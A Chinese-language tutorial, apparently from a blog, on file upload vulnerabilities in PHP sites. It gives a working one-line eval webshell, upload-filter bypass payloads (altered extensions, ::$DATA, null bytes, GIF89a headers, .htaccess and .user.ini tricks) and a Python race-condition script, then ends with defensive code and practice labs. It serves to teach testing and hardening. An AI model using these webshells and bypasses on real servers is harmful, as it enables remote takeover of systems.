文件上传是什么,原理,如何利用,基础常见绕过
文件上传漏洞,简单来说就是:攻击者把恶意文件(比如 PHP 木马)上传到服务器上,并且服务器把它当成正常程序执行了。
正常情况下,网站只允许你上传图片(.jpg、.png)、文档(.pdf)这类无害文件。但如果网站对上传的文件"检查不严",攻击者就能上传一个包含恶意代码的文件(比如 shell.php),然后通过浏览器访问这个文件,让服务器执行里面的代码,最终拿到服务器的控制权。
要理解文件上传漏洞,首先得明白 Web 服务器是怎么处理文件的。
浏览器请求 index.php ↓ Apache/Nginx 发现是 .php 文件 ↓ 交给 PHP 解释器执行 ↓ PHP 执行完返回 HTML ↓ Apache 把结果发给浏览器
关键点:服务器是根据文件后缀名来决定怎么处理这个文件的。
.php → 交给 PHP 执行.jpg → 直接返回图片内容,不执行如果攻击者上传了一个 shell.php,服务器一看后缀是 .php,就会交给 PHP 执行。shell.php 里面如果写的是:
php<?php eval($_POST["pass"]); ?>
那攻击者就可以通过 POST 请求向这个文件发送任意 PHP 代码,服务器都会执行。这就是一句话木马,配合蚁剑、菜刀等工具就能远程控制服务器。
一句话木马是文件上传漏洞中最常用的攻击载荷,它的核心就是一句话:
php<?php @eval($_POST['pass']); ?>
eval():把字符串当成 PHP 代码执行$_POST['pass']:接收 POST 请求中名为 pass 的参数@:抑制错误信息,隐藏痕迹攻击流程:
shell.phphttp://目标网站/upload/shell.php,密码填 pass网站为了防止恶意上传,通常会在三个环节做检查。我们逐个分析怎么绕过。
原理:在网页的 HTML 里嵌入一段 JS 代码,在文件还没发给服务器之前,先在浏览器里检查文件名后缀。
javascriptfunction checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name + "|") == -1) {
alert("该文件不允许上传!");
return false;
}
}
问题:JS 运行在浏览器端,属于"客户端校验",攻击者完全可以绕过浏览器直接发请求。
绕过方法有三种:
方法一:禁用 JavaScript
shell.php,JS 校验就不会执行了方法二:BurpSuite 抓包改包
shell.php 改名为 123.jpg(骗过前端 JS)123.php方法三:控制台调试
whitelist 数组改成包含 .php核心思想:永远不要相信客户端的校验,客户端的一切都可以被篡改。
原理:后端检查 $_FILES['upload_file']['type'],也就是 HTTP 请求头中的 Content-Type 字段。
phpif (($_FILES['upload_file']['type'] == 'image/jpeg') ||
($_FILES['upload_file']['type'] == 'image/png') ||
($_FILES['upload_file']['type'] == 'image/gif')) {
// 允许上传
} else {
$msg = '文件类型不正确!';
}
绕过方法:
Content-Type 字段application/octet-stream(PHP 文件的 MIME)改成 image/png
改成image/png


原始: Content-Type: application/octet-stream 改成: Content-Type: image/png
Content-Type是客户端告诉服务器"我这是什么类型",服务器如果盲目相信,就会被骗。
原理:后端维护一个"不允许上传的后缀名列表",如果上传的文件后缀在黑名单里,就拒绝。
php$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_ext = strrchr($file_name, '.'); // 获取后缀
if(!in_array($file_ext, $deny_ext)) {
// 允许上传
}
黑名单校验的问题在于:很难列全所有危险后缀。攻击者总能找到黑名单之外的等价扩展名。
PHP 除了 .php,还有很多等价的后缀可以被解析:
.php3、.php4、.php5、.phtml、.pht
前提:Apache 需要在 httpd.conf 中配置:
AddType application/x-httpd-php .php .phtml .php3
注意:phpstudy 默认是 NTS 版本,可能不支持这些后缀解析,建议手动搭建 Apache+PHP 环境。
如果代码中没有 strtolower() 转小写:
php// 缺少这行:$file_ext = strtolower($file_ext);
在 Windows 系统中,shell.php 和 shell.PHP、shell.PHp 是同一个文件。但黑名单里只有 .php,.PHp 不在黑名单中,就能绕过。
payload:上传 shell.PHp
如果代码中没有 trim() 去除首尾空格:
php// 缺少这行:$file_ext = trim($file_ext);
在 Windows 下,文件保存时会自动去掉末尾空格。上传 shell.php (后面有个空格),后缀变成 .php ,不在黑名单里,但保存到服务器上就变成了 shell.php。
payload :Burp 抓包,文件名改成 shell.php

如果代码中没有 deldot() 删除末尾的点:
php// 缺少这行:$file_name = deldot($file_name);
Windows 下,shell.php. 保存时会自动去掉末尾的点,变成 shell.php。
payload:Burp 抓包,文件名改成 shell.php.
但是这里windows会在Windows系统中尝试保存shell.php,时,后面的.和空格都被删掉了。可以利用这个特性

::$DATA 绕过(Windows NTFS 特性)Windows 的 NTFS 文件系统支持备用数据流(ADS)。shell.php::$DATA 表示访问 shell.php 的主数据流,系统会忽略 ::$DATA,最终保存为 shell.php。
如果代码中没有过滤 ::$DATA:
php// 缺少这行:$file_ext = str_ireplace('::$DATA', '', $file_ext);
payload:上传 shell.php::$DATA
发现被过滤

如果代码中对危险后缀做了替换而不是检测:
php$file_name = str_replace('php', '', $file_name);
这种"替换为空"的逻辑有漏洞。上传 shell.pphphp:
php 被替换为空 → shell.pphpphp → shell.phpshell.phppayload:上传 shell.pphphp
白名单是"只允许这些后缀",比黑名单更安全,但如果配合其他漏洞仍可能被绕过。
原理:PHP 5.3.4 以下版本中,move_uploaded_file() 等函数在处理文件名时,遇到 %00(空字节)会截断后面的内容。
保存文件时 move_uploaded_file() 底层调用 C 的系统函数,读到 \x00 就认为路径结束了
%00 是 \x00 的 URL 编码形式,是它在网络上传输时的"包装"。只有经过解码(urldecode)后,才会变回真正的空字节 \x00,从而触发 C 语言字符串的截断效果。
GET 型截断:
上传路径:upload/shell.php%00.jpg
服务器解析时,%00 后面的 .jpg 被截断,实际保存为 shell.php。
方式一:

方式二: ../upload/shell.php%00 和在下方文件处上传shell.png
POST 型截断:
POST 请求中 %00 不会被自动解码,需要在 Burp 的 Hex 编辑器中手动把对应位置改成 00。
这里用个四不像简单看下,它应该是经过了手动 decode
但是实际上应该是

注意:PHP 5.3.4 之后已修复,现代环境基本不可用。
文件头也叫文件签名(File Signature)或Magic Bytes,是文件最开头的几个字节,用来标识这个文件到底是什么类型。
常见文件的文件头
| 文件类型 | 文件头(Hex) | 文件头(ASCII/可见字符) |
|---|---|---|
| JPEG/JPG | FF D8 FF | 不可见 |
| PNG | 89 50 4E 47 | ‰PNG |
| GIF | 47 49 46 38 | GIF8 |
| GIF89a | 47 49 46 38 39 61 | GIF89a |
| BMP | 42 4D | BM |
| ZIP | 50 4B 03 04 | PK.. |
| RAR | 52 61 72 21 | Rar! |
25 50 44 46 | %PDF |
比如一个真正的 PNG 图片,用十六进制编辑器打开,开头一定是
89 50 4E 47。
PHP 用 getimagesize() 检测:
php$file = $_FILES['upload_file']['tmp_name'];
$img_info = getimagesize($file); // 获取图片尺寸和类型
if ($img_info) {
// 如果能获取到宽高,说明是真图片
move_uploaded_file($file, "upload/xxx.jpg");
} else {
die("这不是图片!");
}
PHP 用 exif_imagetype() 检测:
php$type = exif_imagetype($file); // 返回图片类型常量
if ($type == IMAGETYPE_GIF || $type == IMAGETYPE_JPEG || $type == IMAGETYPE_PNG) {
// 允许上传
}
PHP 用 finfo 检测 MIME(读取文件头):
php$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
// 可能返回 image/gif、image/png 等
打开你的 shell.php,在最前面加上 GIF 的文件头:
phpGIF89a
<?php @eval($_POST['pass']); ?>

GIF89a就是 GIF 图片的文件头标识。很多检测函数一看到开头是GIF89a,就认为这是 GIF 图片,放行。
原理:getimagesize() 和 exif_imagetype() 读到 GIF89a 后,会认为这是合法的 GIF 文件,返回图片类型。但 PHP 解析器在执行时,会把 GIF89a 当成普通文本输出,然后继续执行后面的 <?php ... ?> 代码。
如果你有一张正常的图片 1.jpg 和一个木马 shell.php,可以用 Windows 的 copy 命令把它们合二为一:
cmdcopy 1.jpg/b + shell.php/a shell.jpg

/b:表示以二进制方式处理图片/a:表示以 ASCII 方式处理 PHP 文件shell.jpg 的文件头是正常的 JPG 文件头,后面跟着 PHP 代码验证方法:用记事本打开 shell.jpg,拉到最下面,能看到你的 PHP 代码。
如果你已经抓到了上传请求包,可以直接在文件内容的最前面插入文件头字节:
步骤:
89 50 4E 47 0D 0A 1A 0A或者简单点,在文件内容的文本最前面加上:
‰PNG
(这是 PNG 文件头的 ASCII 表示,虽然不如二进制准确,但有些弱校验能通过)
getimagesize() 和 exif_imagetype() 来检测的。攻击流程:
第一步:准备图片马
用命令行制作:
cmdcopy 1.jpg/b + shell.php/a shell.jpg
或者直接编辑 shell.php,开头加上 GIF89a,然后改名为 shell.gif。
第二步:上传
直接上传 shell.gif(实际是包含 PHP 代码的文件)。
因为文件头是合法的 GIF,所以 getimagesize() 不会拦截,上传成功。
第三步:利用
此时 shell.gif 已经躺在服务器的 upload 目录里了。但直接访问它时,服务器把它当成图片返回,不会执行 PHP 代码。
这时候需要配合文件包含漏洞:

http://目标网站/include.php?file=upload/shell.gif
include() 函数会把 shell.gif 的内容读进来,当成 PHP 代码执行,其中 <?php @eval($_POST['pass']); ?> 就会被触发。
.htaccess 是 Apache 的分布式配置文件,放在某个目录下就能对该目录生效,可以覆盖全局配置。
利用场景:黑名单禁了所有 PHP 相关后缀,但没有禁 .htaccess。
步骤:
.htaccess 文件,内容如下:<FilesMatch "shell"> setHandler application/x-httpd-php </FilesMatch>
或者
AddType application/x-httpd-php .png //.png文件当作php文件解析
.htaccess//只要文件名中包含fuck,就会被Apache解析为php文件。
fuck.txt(或 fuck.jpg)
fuck.txt,Apache 会把它交给 PHP 执行
原理图:
没有 .htaccess:shell.jpg → 直接返回图片内容 有 .htaccess: shell.jpg → PHP 解析执行 → 返回执行结果
前提:Apache 的
AllowOverride要设置为All,否则.htaccess不生效。
.user.ini 是 PHP 的用户级配置文件,可以覆盖 php.ini 的部分设置。
利用场景:黑名单禁了 .htaccess,但没有禁 .user.ini。
前提:PHP 运行模式必须是 FastCGI(phpstudy 默认是这种模式)。
步骤:
.user.ini,内容:auto_prepend_file=shell.gif
意思是:该目录下所有 PHP 文件执行前,都会先包含 shell.gif。
2. 上传 .user.ini
shell.gif,内容是一句话木马(把 shell.php 改名)readme.php),shell.gif 里的代码就会被执行
原理:有些网站的上传逻辑是:
php$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
move_uploaded_file($temp_file, $img_path); // 先保存
if (check($img_path) == false) { // 再检查
unlink($img_path); // 不合法就删除
}
漏洞:从"保存"到"删除"之间有一个时间窗口。攻击者可以在这个极短的时间窗口内访问刚上传的文件。
php<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>');
?>
pyimport requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print(r.text)
os._exit(0)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
利用方法:
shell.phphttp://目标网站/upload/shell.phpApache 有一个特性:对于无法识别的文件后缀,会从后往前找能解析的后缀。
例如:shell.php.xxx.yyy
.yyy 不认识 → 往前找 .xxx → 不认识 → 再往前找 .php → 认识!payload:上传 shell.php.rar 或 shell.php.abc
这个漏洞在 Apache 1.x/2.x 的某些配置下存在。
原理:网站上传图片后,会对图片进行压缩、裁剪、加水印等处理(二次渲染),这会破坏嵌入在图片里的 PHP 代码。
绕过思路:
从代码审计的角度,文件上传漏洞往往出现在以下逻辑缺陷中:
| 审计点 | 危险代码示例 | 绕过思路 |
|---|---|---|
| 只检查 MIME 类型 | $_FILES['type'] | 改 Content-Type |
| 黑名单不完整 | 只禁了 .php | 用 .php3、.phtml |
| 没有转小写 | 缺少 strtolower() | 大小写混写 .PHp |
| 没有 trim | 缺少 trim() | 末尾加空格 |
| 没有 deldot | 缺少 deldot() | 末尾加点 |
没有过滤 ::$DATA | 缺少 str_ireplace('::$DATA') | 加 ::$DATA |
| 替换而非检测 | str_replace('php', '') | 双写 .pphphp |
| 先保存后检查 | move_uploaded_file 在 check 之前 | 条件竞争 |
php// 1. 白名单后缀校验
$allow_ext = array('jpg', 'jpeg', 'png', 'gif');
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allow_ext)) {
die("不允许的文件类型");
}
// 2. 校验 MIME 类型(不能单独依赖)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$real_mime = finfo_file($finfo, $temp_file);
finfo_close($finfo);
if (!in_array($real_mime, array('image/jpeg', 'image/png', 'image/gif'))) {
die("文件类型不匹配");
}
// 3. 重命名文件,不要保留原始文件名
$new_name = md5(uniqid()) . '.' . $file_ext;
// 4. 存储目录设置不可执行权限
// upload 目录下不允许执行 PHP
| 措施 | 说明 |
|---|---|
| 白名单 | 只允许特定的文件后缀,比黑名单安全得多 |
| 重命名 | 上传后随机重命名,不保留原始文件名 |
| 分离存储 | 上传目录放在 Web 根目录之外,或通过配置禁止脚本执行 |
| 文件头校验 | 检查文件的真实类型(Magic Number),不只看后缀 |
| 图片处理 | 对图片进行压缩/重绘,破坏可能嵌入的恶意代码 |
| WAF | 部署 Web 应用防火墙拦截恶意上传 |
| 最小权限 | Web 服务以低权限用户运行,即使被入侵也限制破坏范围 |
Nginx:
nginxlocation ^~ /upload/ { deny all; # 或者直接禁止 PHP 执行 }
Apache(在 upload 目录下放 .htaccess):
apache<FilesMatch "\.(php|php5|phtml)$"> Order allow,deny Deny from all </FilesMatch>
| 靶场 | 说明 |
|---|---|
| upload-labs | 最经典的文件上传靶场,共 21 关,覆盖各种绕过手法 |
| CTFHub | 有专门的文件上传技能树,适合刷题 |
| DVWA | 综合漏洞靶场,包含文件上传 Low/Medium/High 级别 |
| Pikachu | 国产漏洞靶场,文件上传部分也很全面 |
| docker 部署 | docker pull sqlsec/ggctf-upload 一键部署 |
建议:练习 upload-labs 时,推荐手动搭建 Apache+PHP 环境(不要用 phpstudy),因为很多关卡涉及 Apache 配置修改(如
.htaccess、.php3解析等),phpstudy 的 NTS 版本会有兼容问题。
文件上传漏洞 ├── 是什么:上传恶意文件,服务器执行 ├── 核心:一句话木马 + 蚁剑连接 ├── 校验环节 │ ├── 前端 JS 校验 → 禁用JS / 抓包改包 / 控制台调试 │ ├── MIME 校验 → 改 Content-Type │ ├── 黑名单后缀 │ │ ├── 等价扩展名 (.php3/.phtml) │ │ ├── 大小写 (.PHp) │ │ ├── 空格 (.php ) │ │ ├── 点 (.php.) │ │ ├── ::$DATA (shell.php::$DATA) │ │ └── 双写 (.pphphp) │ ├── 白名单后缀 │ │ ├── 00 截断 (%00) │ │ └── 配合文件包含(图片马) │ └── 其他 │ ├── .htaccess 上传 │ ├── .user.ini 上传 │ ├── 条件竞争 │ └── Apache 解析漏洞 ├── 防御 │ ├── 白名单后缀 │ ├── 重命名文件 │ ├── 分离存储 + 禁止执行 │ ├── 文件头校验 │ └── 图片二次渲染 └── 练习:upload-labs、CTFHub、DVWA